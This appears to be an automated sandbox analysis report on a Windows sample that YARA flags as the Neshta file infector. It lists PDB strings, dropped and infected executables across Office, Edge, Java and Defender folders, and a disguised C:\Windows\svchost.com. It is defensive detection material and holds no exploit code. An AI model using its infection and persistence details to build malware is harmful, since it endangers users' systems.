Source:	Binary string: LC:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\click2run\x-none\Integrator.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: integrator.exe.0.dr
Source:	Binary string: VSTOInstaller.pdb source: VSTOInstaller.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoadfsb.pdbdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoadfsb.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: CLVIEW.EXE.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\Win32\Release\aimgr.pdb source: aimgr.exe0.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdblper.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SDXHelper.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\cookie_exporter.exe.pdbOGP source: cookie_exporter.exe.0.dr
Source:	Binary string: D:\a\_work\1\s\src\ai\windows\dll\x64\Release\aimgr.pdb source: aimgr.exe.0.dr
Source:	Binary string: C:\agent\_work\8\s\build\ship\x86\burn.pdb source: VC_redist.x64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\elevation_service.exe.pdb source: elevation_service.exe.0.dr
Source:	Binary string: MpCmdRun.pdbGCTL source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\msedge_pwa_launcher.exe.pdbOGP source: msedge_pwa_launcher.exe.0.dr
Source:	Binary string: AppVDllSurrogate64.pdbGCTL source: AppVDllSurrogate64.exe.0.dr
Source:	Binary string: @ntkrnlmp.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoev.pdb source: msoev.exe.0.dr
Source:	Binary string: @winload_prod.pdbh source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\osfsandbox\x-none\msoasb.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: msoasb.exe.0.dr
Source:	Binary string: ntkrnlmp.pdb source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\cnfnot32.pdb source: CNFNOT32.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\olicenseheartbeat.pdb0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OLicenseHeartbeat.exe.0.dr
Source:	Binary string: MpCmdRun.pdb source: MpCmdRun.exe0.0.dr
Source:	Binary string: D:\DCB\CBT_Main\BuildResults\bin\Win32\Release\AdobeARMHelper.pdbr source: AdobeARMHelper.exe.0.dr
Source:	Binary string: GoogleCrashHandler64_unsigned.pdbl source: GoogleCrashHandler64.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\elevation_service.exe.pdbOGP source: elevation_service.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\documentchat_localserver\x-none\SkypeServer.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: SKYPESERVER.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\. source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: @winload_prod.pdb source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: MpDlpCmd.pdbGCTL source: MpDlpCmd.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb source: WINWORD.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\winword.pdb000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: WINWORD.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb<<7 source: ssvagent.exe.0.dr
Source:	Binary string: d:\dbs\el\omr\target\x86\ship\osfsandbox\x-none\msoasb.pdb source: msoasb.exe.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\deploy\tmp\ssvagent\obj\ssvagent.pdb source: ssvagent.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\ocpubmgr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: OcPubMgr.exe.0.dr
Source:	Binary string: lper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2rcross\x-none\appsharinghookcontroller.pdbr.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: AppSharingHookController.exe.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\pwahelper.exe.pdbOGP source: pwahelper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\clview.pdb source: CLVIEW.EXE.0.dr
Source:	Binary string: C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\.`r source: LisectAVT_2403002B_4.exe, 00000000.00000003.2017149039.0000000002084000.00000004.00001000.00020000.00000000.sdmp, LisectAVT_2403002B_4.exe, 00000000.00000003.2017109516.0000000002080000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: winload_prod.pdb\ source: LisectAVT_2403002B_4.exe, 00000001.00000002.4484639926.0000000005590000.00000004.00000020.00020000.00000000.sdmp, Temp.txt.1.dr
Source:	Binary string: D:\dbs\el\ja2\Target\x86\ship\dcf\x-none\DatabaseCompare.pdb source: DATABASECOMPARE.EXE.0.dr
Source:	Binary string: D:\a\_work\e\src\out\Release_x64\identity_helper.exe.pdb source: identity_helper.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\sdxhelper.pdb source: SDXHelper.exe.0.dr
Source:	Binary string: MpDlpCmd.pdb source: MpDlpCmd.exe.0.dr
Source:	Binary string: d:\dbs\el\ja2\target\x86\ship\dw\x-none\dw20.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: DW20.EXE.0.dr
Source:	Binary string: c:\jenkins\workspace\8-2-build-windows-i586-cygwin-sans-NAS\jdk8u381\237\build\windows-i586\jdk\objs\unpackexe\unpack200.pdb source: unpack200.exe.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\graph.pdb00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000S source: GRAPH.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msqry32.pdb source: MSQRY32.EXE.0.dr
Source:	Binary string: D:\dbs\el\omr\Target\x86\ship\postc2r\x-none\msoadfsb.pdb source: msoadfsb.exe.0.dr

Source: LisectAVT_2403002B_4.exe.0.dr

Static PE information: 0xBBAE67A1 [Sat Oct 12 02:06:25 2069 UTC]

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C9F114 push 8400CAC3h; ret	1_2_00C9F119
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C9EAA0 pushad ; ret	1_2_00C9EAA1
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Code function: 1_2_00C96D58 push esi; retf 0000h	1_2_00C96D7A

Persistence and Installation Behavior

Yara detected Neshta

Source: Yara match	File source: LisectAVT_2403002B_4.exe, type: SAMPLE
Source: Yara match	File source: 0.0.LisectAVT_2403002B_4.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2500140385.0000000000409000.00000004.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LisectAVT_2403002B_4.exe PID: 6476, type: MEMORYSTR
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Uninstall.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe, type: DROPPED
Source: Yara match	File source: C:\Windows\svchost.com, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoasb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Source Engine\OSE.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\chrome.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_pwa_launcher.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Check.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\grv_icons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\OLCFG.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pubs.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Common Files\Java\Java Update\jucheck.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe, type: DROPPED
Source: Yara match	File source: C:\ProgramData\Microsoft\ClickToRun\{9AC08E99-230B-47e8-9721-4577B7F124EA}\integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE, type: DROPPED

Drops PE files with a suspicious file extension

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe

File created: C:\Windows\svchost.com

Jump to dropped file

Drops executable to a common third party application directory

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	File written: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe			Jump to behavior

Infects executable files (exe, dll, sys, html)

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	System file written: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to behavior
